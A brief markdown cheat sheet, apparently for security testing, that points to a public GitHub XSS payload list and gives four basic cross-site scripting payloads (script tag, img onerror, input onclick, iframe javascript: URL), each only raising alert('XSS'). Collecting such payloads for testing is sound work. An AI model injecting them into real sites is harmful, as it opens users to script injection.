# XSS Payloads

File is attached but it was copied from:

[https://github.com/ismailtasdelen/xss-payload-list.git](https://github.com/ismailtasdelen/xss-payload-list.git)

Some basic XSS Payloads:

`<SCRIPT>alert('XSS')</SCRIPT>`  
`<IMG SRC="#" ONERROR="alert('XSS')"/>`  
`<INPUT TYPE="BUTTON" ONCLICK="alert('XSS')"/>`  
`<IFRAME SRC="javascript:alert('XSS');"></IFRAME>`